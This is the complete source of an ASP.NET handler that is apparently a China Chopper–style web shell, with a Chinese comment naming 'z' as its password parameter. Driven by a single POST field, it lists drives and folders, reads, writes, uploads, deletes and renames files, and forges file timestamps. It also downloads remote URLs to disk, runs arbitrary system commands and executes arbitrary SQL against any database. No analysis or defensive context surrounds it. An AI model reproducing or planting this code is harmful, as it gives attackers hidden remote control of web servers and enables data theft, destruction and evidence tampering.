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<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
using System.Net;
using System.Text;
using System.Data;
using System.Data.SqlClient;
using System.Diagnostics;
public class Handler : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
String Z = context.Request.Form["z"];//设置密码z
if (Z != "")
{
String Z1 = context.Request.Form["Z1"];
String Z2 = context.Request.Form["Z2"];
String R = "";
try
{
switch (Z)
{
case "A":
{
String[] c = Directory.GetLogicalDrives();
R = String.Format("{0}\t", context.Server.MapPath("/"));
for (int i = 0; i < c.Length; i++)
R += c[i][0] + ":";
break;
}
case "B":
{
DirectoryInfo m = new DirectoryInfo(Z1);
foreach (DirectoryInfo D in m.GetDirectories())
{
R += String.Format("{0}/\t{1}\t0\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"));
}
foreach (FileInfo D in m.GetFiles())
{
R += String.Format("{0}\t{1}\t{2}\t-\n", D.Name, File.GetLastWriteTime(Z1 + D.Name).ToString("yyyy-MM-dd hh:mm:ss"), D.Length);
}
break;
}
case "C":
{
StreamReader m = new StreamReader(Z1, Encoding.Default);
R = m.ReadToEnd();
m.Close();
break;
}
case "D":
{
StreamWriter m = new StreamWriter(Z1, false, Encoding.Default);
m.Write(Z2);
R = "1";
m.Close();
break;
}
case "E":
{
if (Directory.Exists(Z1))
{
Directory.Delete(Z1, true);
}
else
{
File.Delete(Z1);
}
R = "1";
break;
}
case "F":
{
context.Response.Clear();
context.Response.Write("\x2D\x3E\x7C");
context.Response.WriteFile(Z1);
context.Response.Write("\x7C\x3C\x2D");
goto End;
}
case "G":
{
byte[] B = new byte[Z2.Length / 2];
for (int i = 0; i < Z2.Length; i += 2)
{
B[i / 2] = (byte)Convert.ToInt32(Z2.Substring(i, 2), 16);
}
FileStream fs = new FileStream(Z1, FileMode.Create);
fs.Write(B, 0, B.Length);
fs.Close();
R = "1";
break;
}
case "H":
{
CP(Z1, Z2, context);
R = "1";
break;
}
case "I":
{
if (Directory.Exists(Z1))
{
Directory.Move(Z1, Z2);
}
else
{
File.Move(Z1, Z2);
}
break;
}
case "J":
{
Directory.CreateDirectory(Z1);
R = "1";
break;
}
case "K":
{
DateTime TM = Convert.ToDateTime(Z2);
if (Directory.Exists(Z1))
{
Directory.SetCreationTime(Z1, TM);
Directory.SetLastWriteTime(Z1, TM);
Directory.SetLastAccessTime(Z1, TM);
}
else
{
File.SetCreationTime(Z1, TM);
File.SetLastWriteTime(Z1, TM);
File.SetLastAccessTime(Z1, TM);
}
R = "1";
break;
}
case "L":
{
HttpWebRequest RQ = (HttpWebRequest)WebRequest.Create(new Uri(Z1));
RQ.Method = "GET";
RQ.ContentType = "application/x-www-form-urlencoded";
HttpWebResponse WB = (HttpWebResponse)RQ.GetResponse();
Stream WF = WB.GetResponseStream();
FileStream FS = new FileStream(Z2, FileMode.Create, FileAccess.Write);
int i;
byte[] buffer = new byte[1024];
while (true)
{
i = WF.Read(buffer, 0, buffer.Length);
if (i < 1)
{
break;
}
FS.Write(buffer, 0, i);
}
WF.Close();
WB.Close();
FS.Close();
R = "1";
break;
}
case "M":
{
ProcessStartInfo c = new ProcessStartInfo(Z1.Substring(2));
Process e = new Process();
StreamReader OT, ER;
c.UseShellExecute = false;
c.RedirectStandardOutput = true;
c.RedirectStandardError = true;
e.StartInfo = c;
c.Arguments = String.Format("{0} {1}", Z1.Substring(0, 2), Z2);
e.Start();
OT = e.StandardOutput;
ER = e.StandardError;
e.Close();
R = OT.ReadToEnd() + ER.ReadToEnd();
break;
}
case "N":
{
String strDat = Z1.ToUpper();
SqlConnection Conn = new SqlConnection(Z1);
Conn.Open();
R = Conn.Database + "\t";
Conn.Close();
break;
}
case "O":
{
String[] x = Z1.Replace("\r", "").Split('\n');
String strConn = x[0], strDb = x[1];
SqlConnection Conn = new SqlConnection(strConn);
Conn.Open();
DataTable dt = Conn.GetSchema("Columns");
Conn.Close();
for (int i = 0; i < dt.Rows.Count; i++)
{
R += String.Format("{0}\t", dt.Rows[i][2].ToString());
}
break;
}
case "P":
{
String[] x = Z1.Replace("\r", "").Split('\n'), p = new String[4];
String strConn = x[0], strDb = x[1], strTable = x[2];
p[0] = strDb;
p[2] = strTable;
SqlConnection Conn = new SqlConnection(strConn);
Conn.Open();
DataTable dt = Conn.GetSchema("Columns", p);
Conn.Close();
for (int i = 0; i < dt.Rows.Count; i++)
{
R += String.Format("{0} ({1})\t", dt.Rows[i][3].ToString(), dt.Rows[i][7].ToString());
}
break;
}
case "Q":
{
String[] x = Z1.Replace("\r", "").Split('\n');
String strDat, strConn = x[0], strDb = x[1];
int i, c;
strDat = Z2.ToUpper();
SqlConnection Conn = new SqlConnection(strConn);
Conn.Open();
if (strDat.IndexOf("SELECT ") == 0 || strDat.IndexOf("EXEC ") == 0 || strDat.IndexOf("DECLARE ") == 0)
{
SqlDataAdapter OD = new SqlDataAdapter(Z2, Conn);
DataSet ds = new DataSet();
OD.Fill(ds);
if (ds.Tables.Count > 0)
{
DataRowCollection rows = ds.Tables[0].Rows;
for (c = 0; c < ds.Tables[0].Columns.Count; c++)
{
R += String.Format("{0}\t|\t", ds.Tables[0].Columns[c].ColumnName.ToString());
}
R += "\r\n";
for (i = 0; i < rows.Count; i++)
{
for (c = 0; c < ds.Tables[0].Columns.Count; c++)
{
R += String.Format("{0}\t|\t", rows[i][c].ToString());
}
R += "\r\n";
}
}
ds.Clear();
ds.Dispose();
}
else
{
SqlCommand cm = Conn.CreateCommand();
cm.CommandText = Z2;
cm.ExecuteNonQuery();
R = "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";
}
Conn.Close();
break;
}
default: goto End;
}
}
catch(Exception E)
{
R="ERROR:// "+E.Message;
}
context.Response.Write("\x2D\x3E\x7C"+R+"\x7C\x3C\x2D");
End:;
}
}
public bool IsReusable
{
get
{
return false;
}
}
public void CP(String S,String D,HttpContext context)
{
if(Directory.Exists(S))
{
DirectoryInfo m=new DirectoryInfo(S);
Directory.CreateDirectory(D);
foreach(FileInfo F in m.GetFiles())
{
File.Copy(S+"\\"+F.Name,D+"\\"+F.Name);
}
foreach(DirectoryInfo F in m.GetDirectories())
{
CP(S + "\\" + F.Name, D + "\\" + F.Name, context);
}
}
else
{
File.Copy(S,D);
}
}
}
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